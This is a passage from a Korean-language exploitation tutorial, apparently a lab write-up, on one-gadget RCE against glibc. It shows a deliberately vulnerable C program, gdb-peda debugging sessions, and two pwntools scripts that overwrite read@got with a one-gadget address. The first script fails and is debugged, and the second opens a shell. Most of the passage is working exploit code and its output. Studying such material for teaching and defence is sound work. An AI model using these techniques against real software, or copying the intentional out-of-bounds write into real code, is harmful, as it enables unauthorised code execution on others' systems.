      - 0x601020(read@got) - 0x601080(asdf 전역 변수 주소) = 0xffffffffffffffa0
      - 0xffffffffffffffa0 + 0x601080 = 0x601020
  - 즉, 이러한 취약성을 이용하여 read@got 영역에 값을 저장할 수 있으며, 해당 영역에 One gadget 주소를 저장하면 Shell을 획득 할 수 있습니다.

Find vuln

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/OneGadgets/baby
Printf() address : 0x7ffff785e800
Breakpoint 1, 0x00000000004006c2 in main ()
gdb-peda$ ni
AAAAAAAAAAAAAAAA
0x00000000004006c7 in main ()
gdb-peda$ ni
0x00000000004006cb in main ()
gdb-peda$ x/i $rip
=> 0x4006cb <main+85>:        add    rax,0x601080
gdb-peda$ i r rax
rax            0x4141414141414141        0x4141414141414141
gdb-peda$ p/x 0x4141414141414141 + 0x601080
$6 = 0x4141414141a151c1
gdb-peda$ p/x 0xffffffffffffffff + 0x601080
$7 = 0x60107f

gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0x1
read@plt = 0x400540
read@got = 0x601020
gdb-peda$ p/x 0x601020 - 0x601080
$8 = 0xffffffa0
gdb-peda$ p/x 0xffffffffffffffa0 + 0x601080
$9 = 0x601020
gdb-peda$
```

Exploit code

- 다음과 같이 Exploit code를 작성 할 수 있습니다.asdf

exploit-1.py

```
from pwn import *

p = process('./baby')

p.recvuntil('Printf() address : ')
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0x4526a
inputValue = int(str(hex(oneGadget))[-4:],16)

log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))
log.info('Input value : '+hex(inputValue))

p.sendline(p64(0xffffffffffffffa0))
sleep(0.5)
p.sendline(p64(oneGadget))
p.interactive()
```

- 하지만 해당 코드를 실행하면 shell을 획득하지 못합니다.

Fail!

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python Exploit.py
[+] Starting local process './baby': pid 17043
[*] libcBase Addr : 0x7f0dde749000
[*] oneGadget Addr : 0x7f0dde78e26a
[*] Input value : 0xe26a
[*] Switching to interactive mode
$
[*] Got EOF while reading in interactive
$
[*] Process './baby' stopped with exit code -11 (SIGSEGV) (pid 17043)
[*] Got EOF while sending in interactive
lazenca0x0@ubuntu:~/Exploit/OneGadgets$
```

Debugging

- **원인을 찾기 위해 다음과 같이 디버깅 합니다.**
    - 우선 스크립트에 sleep()를 이용해 프로세스에 연결할 수 있는 시간을 확보합니다.

Run script

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python Exploit.py
[+] Starting local process './baby': pid 15978
[*] libcBase Addr : 0x7f930739d000
[*] oneGadget Addr : 0x7f93073e2216
[*] Input value : 0x2216
[*] Switching to interactive mode
$
```

- Bug의 원인을 찾기 위해 마지막 read() 함수에 Break point를 설정합니다.

Debugging - Break point

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ sudo gdb -p 18599
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400676 <+0>:        push   rbp
   0x0000000000400677 <+1>:        mov    rbp,rsp
   0x000000000040067a <+4>:        sub    rsp,0x10
   0x000000000040067e <+8>:        mov    QWORD PTR [rbp-0x10],0x0
   0x0000000000400686 <+16>:        mov    esi,0x400784
   0x000000000040068b <+21>:        mov    rdi,0xffffffffffffffff
   0x0000000000400692 <+28>:        call   0x400560 <dlsym@plt>
   0x0000000000400697 <+33>:        mov    QWORD PTR [rbp-0x8],rax
   0x000000000040069b <+37>:        mov    rax,QWORD PTR [rbp-0x8]
   0x000000000040069f <+41>:        mov    rsi,rax
   0x00000000004006a2 <+44>:        mov    edi,0x40078b
   0x00000000004006a7 <+49>:        mov    eax,0x0
   0x00000000004006ac <+54>:        call   0x400530 <printf@plt>
   0x00000000004006b1 <+59>:        lea    rax,[rbp-0x10]
   0x00000000004006b5 <+63>:        mov    edx,0x400
   0x00000000004006ba <+68>:        mov    rsi,rax
   0x00000000004006bd <+71>:        mov    edi,0x0
   0x00000000004006c2 <+76>:        call   0x400540 <read@plt>
   0x00000000004006c7 <+81>:        mov    rax,QWORD PTR [rbp-0x10]
   0x00000000004006cb <+85>:        add    rax,0x601080
   0x00000000004006d1 <+91>:        mov    edx,0x10
   0x00000000004006d6 <+96>:        mov    rsi,rax
   0x00000000004006d9 <+99>:        mov    edi,0x0
   0x00000000004006de <+104>:        call   0x400540 <read@plt>
   0x00000000004006e3 <+109>:        lea    rax,[rbp-0x10]
   0x00000000004006e7 <+113>:        mov    edx,0x400
   0x00000000004006ec <+118>:        mov    rsi,rax
   0x00000000004006ef <+121>:        mov    edi,0x0
   0x00000000004006f4 <+126>:        call   0x400540 <read@plt>
   0x00000000004006f9 <+131>:        mov    eax,0x0
   0x00000000004006fe <+136>:        leave
   0x00000000004006ff <+137>:        ret
End of assembler dump.
gdb-peda$ b *0x00000000004006f4
Breakpoint 1 at 0x4006f4
gdb-peda$ c
Continuing.
```

- **read@got One gadget .**
  - 하지만 One gadget에서 execve()함수를 호출할 때 두번째 인자값이 Null이 아니라는 것을 확인 할 수 있습니다.
  - 즉, 이로 인해 Shell을 획득 할수 없었습니다.

Find bug

```
Breakpoint 1, 0x00000000004006f4 in main ()
gdb-peda$ elfsymbol read
Detail symbol info
read@reloc = 0x1
read@plt = 0x400540
read@got = 0x601020
gdb-peda$ x/gx 0x601020
0x601020:        0x00007f2af001f26a
gdb-peda$ x/7i 0x00007f2af001f26a
   0x7f2af001f26a <do_system+1098>:        mov    rax,QWORD PTR [rip+0x37ec47]        # 0x7f2af039deb8
   0x7f2af001f271 <do_system+1105>:        lea    rdi,[rip+0x147adf]        # 0x7f2af0166d57
   0x7f2af001f278 <do_system+1112>:        lea    rsi,[rsp+0x30]
   0x7f2af001f27d <do_system+1117>:        mov    DWORD PTR [rip+0x381219],0x0        # 0x7f2af03a04a0 <lock>
   0x7f2af001f287 <do_system+1127>:        mov    DWORD PTR [rip+0x381213],0x0        # 0x7f2af03a04a4
<sa_refcntr>
   0x7f2af001f291 <do_system+1137>:        mov    rdx,QWORD PTR [rax]
   0x7f2af001f294 <do_system+1140>:        call   0x7f2af00a6770 <execve>
gdb-peda$ i r rsp
rsp            0x7ffd40326ab0        0x7ffd40326ab0
gdb-peda$ x/gx 0x7ffd40326ab0 + 0x30
0x7ffd40326ae0:        0x00000001f07cdca0
gdb-peda$ ni
[Inferior 1 (process 18599) exited with code 0177]
Warning: not running or target is remote
gdb-peda$
```

Example code(2)

- **One gadget code .**
  - memset() [rsp+0x30] Null .

one.c

```
//gcc -fno-stack-protector -o one one.c -ldl
#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <dlfcn.h>
#include <string.h>

char asdf[1024];

int main()
{
    long long index = 0;

    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);

    memset(&index,0,56);
    read(0, &index, 1024);
    read(0, asdf+index, 16);
    read(0, &index, 1024);
}
```

Example - 2

- one.c
- one

- **Exploit code .**
  - memset() read()@got .

exploit-2.py

```
from pwn import *

p = process('./one')

p.recvuntil('Printf() address : ')
libcAddr = p.recvuntil('\n')
libcAddr = int(libcAddr,16)

libcBase = libcAddr - 0x55800
oneGadget = libcBase + 0x4526a
inputValue = int(str(hex(oneGadget))[-4:],16)

log.info('libcBase Addr : '+hex(libcBase))
log.info('oneGadget Addr : '+hex(oneGadget))
log.info('Input value : '+hex(inputValue))

p.sendline(p64(0xffffffffffffffa8))
sleep(0.5)
p.sendline(p64(oneGadget))
p.interactive()
```

- 해당 스크립트를 실행하면 다음과 같이 Shell을 획득합니다.

Success!

```
lazenca0x0@ubuntu:~/Exploit/OneGadgets$ python exploit-2.py
[+] Starting local process './one': pid 18745
[*] libcBase Addr : 0x7f10b5ed8000
[*] oneGadget Addr : 0x7f10b5f1d26a
[*] Input value : 0xd26a
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),
113(lpadmin),128(sambashare)
$
```

Related site

- https://github.com/david942j/one_gadget
- https://kimiyuki.net/blog/2016/09/16/one-gadget-rce-ubuntu-1604/
- https://david942j.blogspot.com/2017/02/project-one-gadget-in-glibc.html